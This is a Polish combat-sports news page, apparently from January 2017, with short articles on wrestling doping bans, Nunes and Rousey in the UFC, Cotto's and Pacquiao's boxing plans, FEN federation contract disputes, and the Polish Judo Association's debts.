Doping stał się chorobą sportu. Kibice i obserwatorzy łapią się za głowy, gdy na jaw wychodzą afery z udziałem kolejnych gwiazd. Doping również obecny jest w sportach walki. Tym razem cień padł na zapasy za sprawą zawodników z Azji Zachodniej.

Dotkliwa kara

Każdy wybryk spotka kara, jednak nie brakuje zawodników, którzy liczą na łut szczęścia. Wierzą, że kontrole antydopingowe ich ominą, a cały proceder uda się utrzymać w tajemnicy. Niedozwolone środki zniszczyły kolarstwo i legendę Lance'a Armstronga. Również w lekkoatletyce nie brakowało skandali dopingowych. W okresie zimowym warto przywołać również historię biegaczki Therese Johaug. Norweżkę przyłapano na stosowaniu sterydu anaboliczngo clostebolu. Specyfik znajdował się w kremie, który stosowała zawodniczki. Ze łzami w oczach Johaug tłumaczyła, że o niczym nie miała pojęcia i zaufała lekarzowi, który pozwolił jej używać maść.

Styczeń nie najlepiej rozpoczął się dla Bashira Asgariego Babajanzadeha z Iranu i Zubairu Dibirova z Azerbejdżanu. Międzynarodowa Federacja Zapaśnicza zawiesiła zawodników na cztery lata za naruszenie polityki antydopingowej. 27-letni Babajanzadeh startujący w wadze ciężkiej w stylu klasycznym ma za sobą występy w igrzyskach olimpijskich w Londynie i Rio de Janeiro. W Brazylii Irańczyk odpadł w ćwierćfinale z Eduardem Poppem. Babajanzadeh miał pozytywny wynik testosteronu przed majowym Pucharem Świata w Shiraz. Zawody skończyły się triumfem reprezentacji Iranu. Początkowa radość 27-latka przerodziła się w końcu w smutek i łzy. Babajanzadeh nie zdecydował się na zbadanie próbki B. Decyzja światowych władz była jednoznaczna: zawieszenie. Irańczyk otrzymał zakaz startów do 31 sierpnia 2020 roku. 

Kara dotknęła również Zubaira Dibirova. Zapaśnik z Azerbejdżanu miał pozytywny wynik stanozololu w organizmie podczas wrześniowych młodzieżowych mistrzostw świata w Macon. Dibirov również nie poddał się badaniu próbki B i został zawieszony na cztery lata. Zakaz będzie trwał do 4 października 2020 roku.

Przekreślone marzenia

W lipcu 2016 roku z marzeniami o występie w Igrzyskach Olimpijskich w Rio de Janeiro musiał pożegnać się Vinod Kumar. 30-latek reprezentujący Australię miał pozytywny wynik testu dopingowego podczas kwalifikacji kontynentalnych w Algierii. Wynik próbki B był również pozytywny.

Kolejne afera w zapasach wybuchła w sierpniu. Narsingh Yadav przygotowywał się do startu w Rio w kategorii do 74kg w stylu wolnym, jednak dzień przed startem został wyrzucony z indyjskiej kadry. W organizmie zawodnika wykryto metandienon. Yadav tłumaczył, że specyfik znajdował się w żywności. Hinduska Agencja Dopingowa uwierzyła zapaśnikowi, jednak Światowa Agencja Dopingowa była innego zdania i wykluczyła zawodnika ze startu.

KM

Conor McGregor w wersji kobiecej?

Conor McGregor jest najbardziej rozpoznawalną twarzą UFC. Irlandczyk umie zrobić wokół siebie zamieszanie, a w klatce poskramia kolejnych rywali. McGregor stał się punktem odniesienia dla Amandy Nunes. Mistrzyni UFC w wadze koguciej zamierza przeprowadzić atak na kolejny pas.

Do niedawna pierwsze skrzypce w amerykańskiej organizacji grała Ronda Rousey. Czas jej panowania dobiegł końca i popularna „Rowdy” dała sobie czas na przemyślenia. Czy miejsce Rousey na stałe zajmie Amanda Nunes? 

Myśli o kolejnym pasie

9 lipca na długo zostanie w pamięci Nunes. Na gali UFC 200 Brazylijka stanęła do rywalizacji z Mieshą Tate, która w swoich dłoniach dzierżyła pas mistrzowski kategorii koguciej. Amerykanka uchodziła za faworytkę starcia, jednak żywiołowa, pełna energii i niezwykle szybka Nunes w mgnieniu oka wypracowała sobie przewagę nad posiadaczką tytułu. Tate już w pierwszej rundzie musiała odklepać. Po nieco ponad trzech minutach walki Nunes znalazła się za plecami mistrzyni i perfekcyjnym duszeniem zza pleców zapewniła sobie triumf.

Specjalizująca się w judo i jiu-jitsu 27-latka w pierwszej obronie pasa miała zmierzyć się z Rondą Rousey. „Rowdy” straciła tytuł w listopadzie 2015 roku na rzec Holly Holm. W kolejnych miesiącach pas przechodził z rąk do rąk. Holm szybko straciła panowanie na rzecz Tate, a ta w pierwszej obronie uległa Nunes. Wydawało się, że Amerykanka ma szansę wrócić w wielkim stylu i sięgnąć po pas, jednak Nunes szybko wybiła jej te myśli z głowy. Od początku pojedynku Brazylijka ruszyła na byłą mistrzynię UFC i konsekwentnie rozbijała ją ciosami. W końcu wkroczył sędzia, który przerwał walkę.

Nunes obroniła pas, ale myśli o pobiciu nowej kategorii. Włodarze organizacji UFC utworzyli wagę piórkową, która stała się celem Brazylijki. Ta nie ukrywa, że chciałaby iść drogą McGregora. Irlandczyk jest posiadaczem dwóch pasów: w wadze lekkiej i piórkowej. – Rozważam walkę o pas kategorii piórkowej. Może będę miała dwa tytuły tak jak Conor McGregor – powiedziała mistrzyni wagi koguciej, ale zaznacza, że myśli o krótkiej przerwie. – Chcę trochę odpocząć, jednak czekam na starcie o pas kategorii piórkowej – dodała.

Szykuje się do zmiany

Rafael dos Anjos chce spróbować sił w wyżej kategorii wagowej. Były mistrz wagi lekkiej chce startować w kategorii średniej. 

W lipcu dos Anjos stracił pas kategorii lekkiej na rzecz Eddiego Alvareza. 32-latek podkreśla, że w ostatnim czasie miał problem z osiągnięciem wagi i zdecydował się podjąć kolejne wyzwania. Po dwóch porażka zamienia kategorię lekką na średnią. – Zdecydowałem się zacząć 2017 rok z nowymi wyzwaniami – wyjaśnił dos Anjos.

Fot. sherdog.com

KM

Były mistrz KSW Aslambek S. skazany za wymuszanie haraczy!

Przed sądem Rejonowym w Olsztynie zapadł wyrok w "procesie zawodników MMA" dotyczący dwóch Polaków i dwóch Czeczenów. Aslambek S., były mistrz organizacji KSW, został skazany na 10 miesięcy w zawieszeniu na 3 lata. Zawodnik MMA rozważa odwołanie od wyroku.

Aslambek S. w sierpniu 2014 roku został wraz z czterema innymi osobami zatrzymany przez Centralne Biuro Śledcze. Funkcjonariusze CBŚ zatrzymali go pod zarzutem działania w zorganizowanej grupie przestępczej – zarzucane im czyny to m.in. przestępstwa związane z wymuszaniem haraczy, groźbami karalnymi i pobiciami.

Wszystkich czterech oskarżonych, m.in. o nielegalne odzyskiwanie długów, otrzymało wyroki w zawieszeniu. Piotr P. i Michał Sz. (były mistrz PLMMA w wadze średniej) zostali skazani na 2 lata więzienia w zawieszeniu na 5 lat i dozór kuratora. Aslan A. usłyszał wyrok 1,5 roku więzienia w zawieszeniu na 3 lata, a Aslambek S. – 10 miesięcy w zawieszeniu na 3 lata. Obaj wymienieni na końcu również otrzymali dozór kuratora.

Sąd w Olsztynie przy ogłaszaniu wyroku podkreślił, że w Olsztynie nie istnieje żaden gang Czeczenów, ani wymuszenia haraczy. Aslambek S. rozważa odwołanie od wyroku.

Źródło: PolsatSport

Cotto chce zejść z ringu

Kilka miesięcy temu Miguel Cotto zapowiedział, że w 2017 roku zamierza zakończyć karierę bokserską. 25 lutego wybitny portorykański pięściarz zmierzy się z Jamesem Kirklandem. Czy będzie to ostatni pojedynek byłego mistrza WBC wagi średniej?

Bogata, pełna sukcesów kariera sprawiła, że Cotto stał się marką rozpoznawalną na całym świecie. Portorykańczyk prezentował się w ringu efektownie, czym zaskarbił sobie sympatię tłumów. Trudno sobie wyobrazić, że niebawem jego starcia pozostaną tylko i wyłącznie wspomnieniem.

Rodzina jest najważniejsza

W listopadzie ubiegłego roku „Juanito” oświadczył, że w ramach kontraktu z Roc Nation musi stoczyć jeszcze jedną walkę. Od razu ruszyła giełda nazwisk, na której pojawili się m. in. Juan Manuel Marquez, Timothy Bradley czy Saul Alvarez. Temperatura wzrosła, gdyż Cotto zaznaczył, że w 2017 roku pożegna się z ringiem. 

25 lutego Cotto w Ford Center at The Star w Frisco zmierzy się z Jamesem Kirklandem, ale nie musi to być ostatni pojedynek w karierze Portorykańczyka. Bokser nie wykluczył, że stoczy w tym roku jeszcze jedną walkę. Nie zmienił jednak stanowiska, co do zakończenia kariery. Cotto podjął decyzję, że nadszedł właściwy czas, aby powiedzieć „dość” i oddać się w całości rodzinnie. –  Podstawowy powód mojego odejścia to rodzina. Boks pozwolił mi dać moim dzieciom to, co najlepsze. W przypadku mojej emerytury interesuje mnie tylko zdanie moich bliskich – powiedział Cotto. 

Zatem Cotto ma jeszcze półtora miesiąca, żeby jak najlepiej przygotować się do starcia z Kirklandem. Dla obu będzie to powrót po dłuższej nieobecności. Co warte uwagi, Cotto i Kirkland w ostatnich starciach ponieśli porażki z rąk Saula Alvareza. Portorykańczyk rywalizował z Meksykaninem w listopadzie 2015 roku, a Amerykanin pół roku wcześniej. 

Bogata kariera

Przez ponad dziesięć lat Cotto utrzymywał się na bokserskim szczycie. We wrześniu 2004 roku zdobył pierwszy tytuł w karierze. Przez techniczny nokaut w szóstej rundzie pokonał Brazylijczyka Kelsona Pinto i sięgnął po pas WBO w kategorii junior półśredniej.

W kolejnych latach kariera Cotto nabierała rozpędu. Portorykańczyk dobrze radził sobie w wyższych kategoriach wagowych. W grudniu 2006 roku wywalczył pas WBA wagi półśredniej. Trzy lata później dołożył tytuł WBO. W swojej kolekcji miał również pas WBA w kategorii lekkośredniej oraz WBC w kategorii średniej. 

Mierzący 170 cm bokser zawsze imponował szybkością i efektownością. 7 czerwca 2014 roku wszedł do ringu z Sergio Martinezem o pas WBC w wadze średniej. Faworytem starcia był Argentyńczyk, który warunkami fizycznymi przewyższał Cotto. Portorykańczyk już w pierwszej rundzie pokazał charakter i Martinez trzy raz lądował na deskach!

21 listopada 2015 przegrał z Saulem Alvarezem. Stawką pojedynku był pas mistrza świata WBC w wadze średniej. Cotto zdawał sobie sprawę z atutów rywala i unikał wymian, miał również przewagę szybkości nad Meksykaninem. Jednogłośnie na punkty wygrał Alvarez, co wzbudziło spore kontrowersje. Teraz 36-latek zapewnia, że w starciu z Kirklandem da z siebie wszystko. Zwycięstwo będzie pięknym ukoronowaniem jego kariery.

Fot. zdjęcie poglądowe

KM  

Komunikat ws. kary finansowej dla Romana Szymańskiego

Federacja Fight Exclusive Night informuje o nałożeniu na Romana Szymańskiego kary pieniężnej w związku z naruszeniem przez zawodnika obowiązującej go umowy zawartej z organizacją FEN. Poniżej publikujemy pełną treść komunikatu  zarządu FEN w tej sprawie.

„Po dokładnym przeanalizowaniu zaistniałej sytuacji oraz postanowień umowy zawartej przez federację Fight Exclusive Night z Romanem Szymańskim, Zarząd FEN podjął decyzję o nałożeniu na zawodnika kary umownej w wysokości 60 tysięcy złotych, która jest konsekwencją wzięcia przez niego udziału w gali KSW 37 w dniu 3 grudnia 2016 roku w Krakowie. Kara wynika z naruszenia przez zawodnika paragrafu 14 umowy, mówiącego o zakazie uczestniczenia w wydarzeniach sportowych organizowanych przez podmioty inne niż federacja Fight Exclusive Night bez zgody Zarządu FEN:

„§ 14 Umowy: Zawodnik nie może brać udziału w żadnym współzawodnictwie sportowym zawierającym element walki, bez względu na jego formę i miejsce, na 4 tygodnie przed każdą Galą oraz zobowiązuje się nie uczestniczyć w żadnym wyżej opisanym współzawodnictwie, bez względu na jego formułę, miejsce i termin, w czasie obowiązywania niniejszej umowy bez uzyskania pisemnej zgody Organizatora”.

Jednocześnie Zarząd FEN informuje, że kara będzie nakładana na zawodnika po każdym kolejnym naruszeniu postanowień umowy poprzez uczestnictwo zawodnika w wydarzeniach organizowanych przez inne podmioty, a także w przypadku, gdy zawodnik odmówi wzięcia udziału w zawodach organizowanych przez Fight Exclusive Night”.

FEN

FEN 15 Final Strike: official trailer

Fight Exclusive Night od mocnego uderzenia rozpoczyna rok 2017! Zobaczcie oficjalną zapowiedź gali FEN 15 Final Strike, 14 stycznia w lubińskiej hali RCS, podczas której o pasy organizacji FEN walczyć będą mistrzowie świata i Europy!

Najważniejszymi wydarzeniami gali FEN 15 Final Strike będą dwie walki o tytuły mistrzów federacji Fight Exclusive Night w formule K-1, w których zmierzą się kickbokserzy zaliczani do światowej czołówki: Róża Gumienna i Martina Fendrichova oraz Paweł Biszczak i Wojciech Wierzbicki. Z kolei na zasadach MMA 14 stycznia w hai RCS w Lubinie walczyć będą największe gwiazdy organizacji, najlepsi zawodnicy dolnośląskich klubów oraz świetni fighterzy z zagranicy, m.in. Marcin Zontek z Francuzem Boubacarem Balde, Kamil Gniadek z Michałem Michalskim, Albert Odzimkowski z Oskarem Somerfeldem i Amerykanin Matt Horwich z Filipem Tomczakiem.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

[kod]

Czas na przemyślenia

Dwa lata temu Ronda Rousey przygotowywała się do kolejnej obrony mistrzowskiego pasa UFC w kategorii koguciej. 28 lutego w zaledwie czternaście sekund rozprawiła się z Cat Zingano. Teraz 29-latka znajduje się w zupełnie innym miejscu. Potrzebuje czasu, aby zastanowić się nad swoją przyszłością.

Wejść na szczyt jest łatwo, trudniej się na nim utrzymać, a upadek bywa bolesny. Ronda Rousey odczuła to na własnej skórze.

Powrót i porażka

Po udanej przygodzie z organizację Strikeforce, Rousey trafiła do UFC. Szybko stała się gwiazdą najlepszej organizacji MMA na świecie. Jej walki były widowiskowe, emocjonujące i… szybkie. Amerykanka potrafiła rozprawić się z rywalką w mniej niż dwadzieścia sekund! Stała się motorem napędowym UFC i ulubienicą Dana White. Wszystko było jak w bajce. Brązowa medalistka igrzysk olimpijskich w Pekinie w judo stała się gwiazdą MMA.

Wydawało się, że nikt jej nie zatrzyma. Była niepokonana, a kolejne walki rozstrzygała na swoją korzyść niczym błyskawica i ani razu nie walczyła na pełnym dystansie. Pierwszy szok świat MMA przeżył 14 listopada 2015 roku. W kolejnej obronie mistrzowskiego pasa Rousey zmierzyła się z Holly Holm. Była mistrzyni boksu nie pozwoliła „Rowdy” rozwinąć skrzydeł. W drugiej rundzie Holm wyprowadziła wysokie kopnięcie i znokautowała rywalkę. Po porażce Rousey zniknęła i zajęła się sobą. Przede wszystkim leczyła kontuzję, ale ciągle myślała o powrocie. Również Dan White wiedział, że będzie to wielkie wydarzenie. Powrót Rousey do rywalizacji zaplanowano 30 grudnia 2016 roku.

Pojawiła się w klatce po ponad roku przerwy. Od razu dostała szansę na odzyskanie mistrzowskiego tytułu, ale już z rąk Amandy Nunes. Brazylijka nie oddała pasa zdobytego w walce z Mieshą Tate. Nunes, tak jak kiedyś Rousey, szybko załatwiła sprawę. Konsekwentnie rozbijała prawym rywalkę i w końcu sędzia przerwał pojedynek. Dramat Rousey, która teraz musi wszystko przemyśleć i podjąć decyzję, co dalej.

Zamknęła się w sobie

Dla amerykańskiej fighterki to ogromny cios. Przegrała drugą walkę w karierze i należy dodać, że była to porażka poniesiona w fatalnym stylu.

Rousey unikała kamer i zwierzeń, jednak w końcu wydała oświadczenie. – Bywa, że mimo przygotowań i tego, że dajesz z siebie wszystko i pragniesz czegoś tak mocno, to nie musi to pójść zgodnie z planem – napisała.

„Rowdy” musi spojrzeć na wszystko z dystansu. – Potrzebuję wziąć trochę czasu wolnego, żeby to wszystko przemyśleć i zastanowić się nad przyszłością. Dziękuję wam za wiarę we mnie i zrozumienie – przedstawiła amerykańska zawodniczka.

Za walkę z Nunes, Rousey zgarnęła 3 miliony dolarów. Była mistrzyni UFC nadal jest mocnym nazwiskiem w kobiecym MMA. Pytanie, czy będzie potrafiła unieść psychicznie ostatnią porażkę i wrócić do dalszej rywalizacji. 

KM

Komunikat federacji FEN ws. oświadczenia Tyberiusza Kowalczyka

W odpowiedzi na opublikowane na Facebooku oświadczenie Tyberiusza Kowalczyka o zakończeniu współpracy z federacją Fight Exclusive Night prezentujemy stanowisko zarządu naszej organizacji w tej sprawie.

„W związku z oświadczeniem Tyberiusza Kowalczyka, zamieszczonym w dniu 30 grudnia 2016 roku na oficjalnym profilu zawodnika na Facebooku, informującym o zakończeniu przez niego współpracy z organizacją Fight Exclusive Night, oświadczamy, iż jest on nadal zawodnikiem naszej federacji i jego udział w walkach dla jakiejkolwiek innej organizacji będzie rażącym naruszeniem postanowień obowiązującego go kontraktu zawartego z naszą federacją, ze wszelkimi konsekwencjami prawno-finansowymi wynikającymi z jego zapisów.

Zarząd federacji Fight Exclusive Night”

FEN

Wysokie żądania finansowe Pacquiao

Manny Pacquaio przymierza się do kolejnego wyzwania. Coraz głośniej mówi się o starciu boksera z Filipin z mistrzem WBC i WBO wagi super lekkiej Terencem Crawfordem. Pacquiao jest gotowy wejść na ring, ale stawia warunki. Na stole musi pojawić się 20 milionów dolarów.

38-letni „Pacman” nie wytrzymał zbyt długo bez boksu. Postanowił zakończyć karierę po kwietniowej wygranej z Timothy'm Bradley'em, ale już w listopadzie ponownie pojawił się w ringu. Doświadczony Pacquiao pokonał Jessiego Vargasa i sięgnął po pas mistrza świata WBO wagi półśredniej.

Kasa musi się zgadzać

Mówi się, że „pieniądze szczęścia nie dają”, jednak pustka w portfelu nie jest niczym przyjemnym. Pamiętacie polską komedię „Pieniądze to nie wszystko”? Jeden z bohaterów, mający poetyckie inklinacje Rysio wymyślił hasło, które miało zagrzewać do pracy w wytwórni płynów wysokoprocentowych i umieścił je na budynku. Brzmiało mniej więcej tak: „Piniondze to nie fszysko, ale fszysko bez piniendzy to h..” (pisownia oryginalna).

Także po materialnym wprowadzeniu przyszedł czas na bokserskie konkrety. Nie da się ukryć, że gaża jest jednym z ważniejszych elementów show jakim jest walka. Doświadczony Manny Pacquiao w obliczu kolejnego wyzwania chce zadbać o sowitą zapłatę. 38-latek miałby zmierzyć się z Terencem Crawfordem i liczy na minimum 20 milionów dolarów. – Jeśli Top Rank, chce dla Manny Pacquiao walki z Crawfordem, to możemy ją zorganizować. Chcemy jednak gwarancję 20 milionów dolarów – powiedział amerykańskim mediom Mike Koncz, doradca pięściarza z Filipin.

Za poprzednią walkę Pacquiao zgarnął „tylko” 4 miliony dolarów. W listopadzie pokonał Jessiego Vargasa, ale teraz miałby zmierzyć się z mocniejszym rywalem. Oczywiste więc, że Pacquiao chce zdecydowanie większej gaży. Tym samym 38-latek zasygnalizował gotowość do podjęcia wyzwania. Pojawiły się już głosy, że dla „Pacmana” może to być ostatni wielki pojedynek. 29-letni Crawford to posiadacz dwóch mistrzowskich pasów, który w zawodowej karierze jeszcze nigdy nie przegrał.

Kiedy walka?

Wszystko jest do ustalenia. Wiadomo, że Pacquiao karierę bokserską musi łączyć z obowiązkami… senatora Filipin. Izba parlamentu kończy pracę w połowie marca, więc walka możliwa byłaby dopiero na wiosnę. Wszystko jest kwestią porozumienia między przedstawicielami obu stron. Z pewnością będzie to o tyle łatwiejsze, że Pacquiao i Crawford są promowani przez Top Rank.

Warto również wspomnieć o problemach mistrza kategorii junior półśredniej federacji WBC i WBO. W grudniu Crawford został skazany na dwa miesiące więzienia. Kara jest pokłosiem kłótni z właścicielem warsztatu samochodowego i uszkodzenia w nim podnośnika hydraulicznego. Zdarzenie miało miejsce w kwietniu ubiegłego roku.

Ostatnią walkę Crawford stoczył 10 grudnia. Pokonał przed czasem Johna Molinę Juniora.

KM

800 tys. zł uratowało związek

Ostatnie dni 2016 roku były niezwykle gorące dla Polskiego Związku Judo. Wszystko przez problemy finansowe. Rzutem na taśmę udało się uregulować zaległości wobec Ministerstwa Sportu i Turystyki.

Polskie judo czeka na sukces i rozgłos. W grudniu za sterami Polskiego Związku Judo zasiadł Jacek Zawadka, który w II turze wyborów zmierzył się z Krzysztofem Wiłkomirskim. Były zawodnik Gwardii Warszawa wygrał różnicą dziewięciu głosów (119:110). W pierwszych dniach swojej pracy musiał stawić czoła wyzwaniom oraz wykazać się skutecznością.

Brak kasy

Po zwycięskich wyborach Jacek Zawadka wystosował otwarty list, w którym podziękował wszystkim za zaufanie i zachęcał do wspólnego działania na rzecz rozwoju polskiego judo. Zasygnalizował także problem natury finansowej. – Wstępna analiza matematyczna (potrzeba jeszcze księgowej) wskazuje na brak około 900 tysięcy złotych w kasie (dokładne informacje podamy wkrótce). Tę kwotę PZJudo musi spłacić do końca roku. Oznacza to, że na procedury, ukonstytuowanie zarządu, zaciągnięcie nowej pożyczki (i znalezienie pożyczkodawcy!) mamy jedynie kilka dni. To wyzwanie, któremu należy sprostać – napisał Zawadka.

Było to 20 grudnia, a więc w Polskim Związku Judo musiało być gorąco. Dwa dni później odbyło się zebranie, podczas którego wyłoniono zarząd na kadencję 2016-2020. Wiceprezesami PZJ zostali Cezary Borzęcki (sprawy sportowe) oraz Juliusz Kowalczyk (sprawy organizacyjne). Andrzej Falkiewicz będzie piastował funkcję sekretarza. Członkami zarządu zostali: Jacek Biernat, Tomasz Gadaj, Andrzej Jasiński, Józef Popek, Zenon Mościński, Adam Poździk i Mariusz Radziewski.

Podczas zebrania zarządu podjęto dwie istotne uchwały, które pomogły uporać się ze zobowiązaniami wobec ministerstwa. Włodarze zdecydowali się na zaciągnięcie pożyczek. 490 tys. zł pochodzi z Funduszu PAFPIO. – Dopełnienia formalności związanych z podpisaniem umowy pożyczki i weksla in blanco stanowiącego zabezpieczenie spłaty pożyczki powierza się Prezesowi Polskiego Związku Judo p. Jackowi Zawadce oraz następującym członkom zarządu: p. Cezaremu Borzęckiemu i p. Mariuszowi Radziewskiemu – czytamy w uchwale 3/1/2016, nad którą głosowało 10 członków zarządu i wszyscy byli jednomyślni. Związek zaciągnął również pożyczkę w klubie Czarni Bytom na kwotę 460 tys. zł. W tym przypadku również wszyscy głosujący byli „za”.

Udało się

Problemy zostały zażegnane. – W dniu 30 grudnia 2016 r. udało nam się uratować Polski Związek Judo przed likwidacją. Wszystkie płatności wynikające z umów zawartych z MSiT w kwocie 805.000 zł zostały w terminie opłacone – poinformował Jacek Zawadka.

Jednocześnie prezes PZJudo wyraził nadzieję, że kolejne miesiące będą lepsza, a ciężka praca wyda owoce. – Wiemy, że nadchodzący 2017 rok będzie dla nas bardzo wymagający, ale wierzymy, że wspólne działania doprowadzą nas do sukcesów. Proszę raz jeszcze o cierpliwość w realizacji naszego programu, którego pozytywne skutki odczujemy już w niedalekiej przyszłości, a przyjęta strategia rozwoju naszego związku, pozwoli w sposób mądry wydatkować dotacyjne finanse – przedstawił Zawadka.

KM

Róża Gumienna vs Martina Fendrichova w walce o pas na FEN 15 Final Strike

Prawdziwa kickbokserska wojna czeka kibiców w pierwszej w historii kobiecej walce o pas mistrzowski organizacji Fight Exclusive Night! Róży Gumiennej, gwieździe federacji i multimedalistce mistrzostw Polski, Europy i świata, 14 stycznia podczas gali FEN 15 Final Strike w Lubinie stawi bowiem czoła utytułowana, równie twardo i ofensywnie walcząca Martina Fendrichova z Czech.

Róża Gumienna na walkę o tytuł mistrzyni Fight Exclusive Night w K-1 zapracowała trzema świetnymi, zwycięskimi występami w klatkoringu tej organizacji. Debiutowała w marcu 2015 roku, pokonując na gali FEN 6 Showtime Veronikę Cmarovą ze Słowacji, pół roku później na gali FEN 9 Go For It wygrała pojedynek z Katarzyną Posiadałą, a latem ubiegłego roku podczas FEN 13 Summer Edition zwyciężyła Kamilę Bałandę.

Do walki z Martiną Fendrichovą zawodniczka Punchera Wrocław przystąpi jako aktualna wicemistrzyni Europy WAKO w K-1. Na swoim koncie podopieczna Janusza Jankowskiego, oprócz seryjnie zdobywanych tytuł mistrzyni Polski, ma także pas mistrzyni świata WAKO w formule low-kick z 2013 roku, zdobyty w tym samym roku Puchar Świata w low-kick oraz wywalczony rok później Puchar Świata w K-1 i brązowy medal mistrzostw Europy w K-1.

Martina Fendrichova, aktualna mistrzyni Europy WAKO w formule kick-light, to jedna z najlepszych zawodniczek kick-boxingu na Starym Kontynencie. Dorobek medalowy Czeszki jest imponujący – ma na swoim koncie m.in. brązowy medal mistrzostw świata WAKO w K-1, tytuły mistrzyni świata WKA w K-1 i full contact oraz pasy mistrzyni Europy WKF w K-1 i full contact. Dwukrotnie stawała do walki o tytuł zawodowej mistrzyni świata, jednak pasa nie udało jej się zdobyć.

Zawodniczka klubu Iron Fighters Kickboxing z Liberca, która na gali Fen 15 Final Strike po raz pierwszy wystąpi w klatkoringu Fight Exclusive Night, trenuje pod okiem Aloisa Skerika, głównego trenera reprezentacji Czech.

W fight cardzie gali w lubińskiej hali RCS oprócz pojedynku Róży Gumiennej i Martiny Fendrichovej są jeszcze dwie inne walki w formule K-1. W karcie wstępnej zmierzą się Eliasz Jankowski z Wojciechem Kazieczko, a w walce wieczoru o pas mistrzowski walczyć będą Paweł Biszczak i Wojciech Wierzbicki. Kibiców czeka również sześć walk na zasadach MMA, m.in. Marcina Zontka z Francuzem Boubacarem Balde, Kamila Gniadka z Michałem Michalskim, Alberta Odzimkowskiego z Oskarem Somerfeldem i Amerykanina Matta Horwicha z Filipem Tomczakiem.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN